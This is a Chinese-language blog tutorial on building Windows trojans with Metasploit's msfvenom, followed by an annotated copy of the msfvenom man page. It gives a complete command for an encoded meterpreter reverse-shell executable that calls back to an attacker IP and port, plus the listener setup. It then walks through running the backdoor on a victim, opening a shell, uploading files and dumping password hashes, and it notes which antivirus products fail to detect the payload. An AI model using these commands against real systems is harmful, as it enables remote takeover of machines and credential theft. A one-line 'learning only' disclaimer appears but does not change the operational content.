msfvenome木马生成的实战及其文档翻译(kali-01)

详细使用见 官方文档使用例子

在这里就官方文档里面的一个例子进行讲解

# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python

上面的各参数分别是
-a 目标主机为32位的架构
–platform 系统平台为windows
-p 使用的有效载荷为windows下正向链接的tcp连接,如果连接成功会返回一个shell 在这里,除了正向连接还有反向连接 可以使用# msfvenom -l payload 查看所有载荷
-e 使用编码x86/shikata_ga_nai,以增加绕过目标主机的机率 ,可以使用# msfvenom -l encoders列出有效编码
-b 特征码绕过,防止杀软通过特征码进行查杀
-i 编码次数
-f 输出格式

#############################################################################
这里介绍下正向连接和反向连接
正向连接,就是木马会开启一个端口。不主动连接攻击者。等着攻击者链接。
反向连接,就是木马会开启端口后,主动连接攻击者设置的ip地址和端口
###############################################################################

实战

1,先生成一个windows下的木马后门,使用反向的tcp连接,反向连接地址为192.168.43.154,端口为44444 (攻击者的地址)

# msfvenom -p windows/x64/meterpreter_reverse_tcp -e x64/zutto_dekiru -i 3 lhost=192.168.43.154 lport=44444 -f exe > msf.exe


运行完成这个命令后会在当前文件夹下生成一个msf.exe文件。这个就是木马后门

2,使用Metasploit

  • 使用msfconsole 启动msf
  • 使用下面命令进行调用监听处理模块
    msf>use exploit/multi/handler
  • 加载之前的有效载荷
    msf>set payload windows/x64/meterpreter_reverse_tcp

在这里插入图片描述

  • 使用show options来显示要设置的参数
    msf>show options
    在这里插入图片描述

  • 这里我们可以看到,只要设置,监听端口和攻击者ip就可以,这里的端口和ip是之前的生成木马后门的ip地址和端口

  • 使用
    msf>set lhost 192.168.43.154
    msf>set lport 44444在这里插入图片描述

  • 设置完成后,运行exploit进行监听
    在这里插入图片描述

3,在被攻击主机上运行该文件。

  • 在windows server 2008上双击msf.exe文件
    在这里插入图片描述
  • 在cmd中输入netstat -an查看端口号,会发现已经有一个44444的端口打开。

在这里插入图片描述

  • 这时候打开之前我们监听的Metasploit
  • 会发现已经有一个sessio成功,并且返回了一个meterpreter会话
    在这里插入图片描述
  • 使用help就可以查看可以操作的选项
    在这里插入图片描述
    比如调用网络摄像头等(虚拟机中测试没有摄像头),查看用户名密码等(当然这里是hash码),ps列出当前受害主机所有的进程等。
  • 使用upload上传一个文件
    在这里插入图片描述
  • 可以输入shell得到目标主机的cmd
    在这里插入图片描述
  • 使用dir就可以看到我们上传的文件
    在这里插入图片描述
  • 输入文件名,运行程序
    在这里插入图片描述
  • 就可以拿到管理员的密码的hash
  • 之前是可以使用-w参数得到密码的明文,现在在2008上不行。
    #########################################################################################3
    到这里就介绍结束了。当然你也可以根据文档,生成android,linux,等其他平台的木马后门。请自行尝试。当然现在window defener和360能够查杀。火绒出现了漏报。

警告:这个教程仅作为学习,不能作为恶意攻击。这个教程会持续更新:)

最后附上msfvenom的使用帮助文档。

MSFVENOM(1)                Metasploit Framework - msfvenom               MSFVENOM(1)

NAME
       msfvenom - Payload Generator and Encoder

SYNOPSIS
       msfvenom [options] <var=val>

DESCRIPTION
       Msfvenom  is a combination of Msfpayload and Msfencode, putting both of these
       tools into a single Framework instance. Msfvenom has replaced both msfpayload
       and msfencode as of June 8th, 2015.

OPTIONS
       -p, --payload [payload]  Payload to use. Specify a '-' or stdin to use custom
       payloads
           --payload-options    List the payload's standard options

       -l, --list  [module_type]
              List a module type example: payloads, encoders, nops, all

       -n, --nopsled  [length]
              Prepend a nopsled of [length] size on to the payload # 将length字长的nopsed放到载荷上

       -f, --format  [format]
              Output format (use --help-formats for a list) # 输出格式

       --help-formats   # 查看输出格式
              List available formats 

       -e, --encoder  [encoder] # 编码
              The encoder to use

       -a, --arch  [architecture]
              The architecture to use # 要使用的体系结构 比如32位和64位

       --platform   [platform]      # 有效载荷的平台
              The platform of the payload
              Cisco or cisco, OSX or osx, Solaris or solaris, BSD or bsd, OpenBSD or
              openbsd, Firefox or firefox, BSDi or bsdi, NetBSD or netbsd, NodeJS or
              nodejs, FreeBSD or freebsd, Python or python, AIX or  aix,  JavaScript
              or  javascript,  HPUX or hpux, PHP or php, Irix or irix, Unix or unix,
              Linux or linux, Ruby or ruby, Java or java, Android or  android,  Net‐
              ware or netware, Windows or windows

       -s, --space [length] The maximum size of the resulting payload   # 生成有效载荷的最大长度
           --encoder-space [length]
             The maximum size of the encoded payload (defaults to the -s value)

       -b, --bad-chars  [list] 
              The list of characters to avoid example: '0' # 特征码绕过

       -i, --iterations  [count]
              The number of times to encode the payload # 编码次数

       -c, --add-code  [path]   # 指定要包括的其他 win32 外壳代码文件
              Specify an additional win32 shellcode file to include

       -x, --template  [path]   # 指定要用作模板的自定义可执行文件
              Specify a custom executable file to use as a template

       -k, --keep # 保留模板行为, 并将有效负载作为新线程注入
              Preserve the template behavior and inject the payload as a new thread

       -o, --out  [path]
              Save the payload

       -v, --var-name  [name]   # 指定要用于某些输出格式的自定义变量名
              Specify a custom variable name to use for certain output formats

       --smallest #生成尽可能小的有效负载
              Generate the smallest possible payload

       -h, --help
              Show this message

       --help-formats 
              List available formats

EXAMPLE
       msfvenom  --platform  Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai
       -b "0" -f python
       msfvenom  --platform  linux  -p   linux/x86/shell/reverse_tcp   LHOST=w.z.y.z
       LPORT=443 -b "0" -f elf -o file.bin

       For  more  examples  visit  https://www.offensive-security.com/metasploit-un‐
       leashed/msfvenom

SEE ALSO
       msfcli(1) - deprecated -
       msfconsole(1)
       msfpayload(1) - deprecated -
       msfencode(1) - deprecated -

AUTHOR(S)
       Creator
              HD Moore - @hdmoore / hdm@metasploit.com
              Man  Page  Author:  Kali  Linux™  File  man  page   bug   reports   at
              https://bugs.kali.org

COPYRIGHT
       Copyright (C) 2006-2015, Rapid7 Inc.  All rights reserved.

       Redistribution  and use in source and binary forms, with or without modifica‐
       tion, are permitted provided that the following conditions are met:

       *      Redistributions of source code must retain the above copyright notice,
              this list of conditions and the following disclaimer.

       *      Redistributions  in binary form must reproduce the above copyright no‐
              tice, this list of conditions and the following disclaimer in the doc‐
              umentation and/or other materials provided with the distribution.

       *      Neither  the  name of Rapid7 LLC nor the names of its contributors may
              be used to endorse or promote  products  derived  from  this  software
              without specific prior written permission.

              THIS  SOFTWARE  IS  PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
              "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIM‐
              ITED  TO,  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
              PARTICULAR PURPOSE ARE DISCLAIMED. IN NO  EVENT  SHALL  THE  COPYRIGHT
              OWNER  OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
              SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT  LIM‐
              ITED  TO,  PROCUREMENT  OF  SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
              DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON  ANY
              THEORY  OF  LIABILITY,  WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
              (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE  USE
              OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

              The  Metasploit  Framework  is provided under the 3-clause BSD license
              above.

              The copyright on this package is held by Rapid7 LLC.

              This license does not apply to several components  within  the  Metas‐
              ploit Framework source tree.  For more details see the LICENSE file.

4.11.4                              July 23, 2015                        MSFVENOM(1)
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要安装kali-everything,可以使用以下解决方案:首先,使用命令"apt-get install kali-tools-top10"来安装kali的前十工具。接下来,使用命令"sudo apt-get install kali-linux-everything"来安装kali的所有软件包。这将确保你安装了kali-linux的每一个组件和工具。你也可以通过下载"kali-linux-2022.3-installer-everything-amd64.iso.torrent"文件,并使用相应的软件来进行安装。另外,你还可以使用命令"sudo apt-get install kali-linux-top10"或"sudo apt-get install kali-linux-all"来安装kali的前十工具或所有软件包。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [解决kali 安装kali-linux-all失败](https://blog.csdn.net/Thea_1207/article/details/122210373)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [kali-linux-2022.3-installer-everything-amd64.iso.torrent](https://download.csdn.net/download/qq_73689812/86537708)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值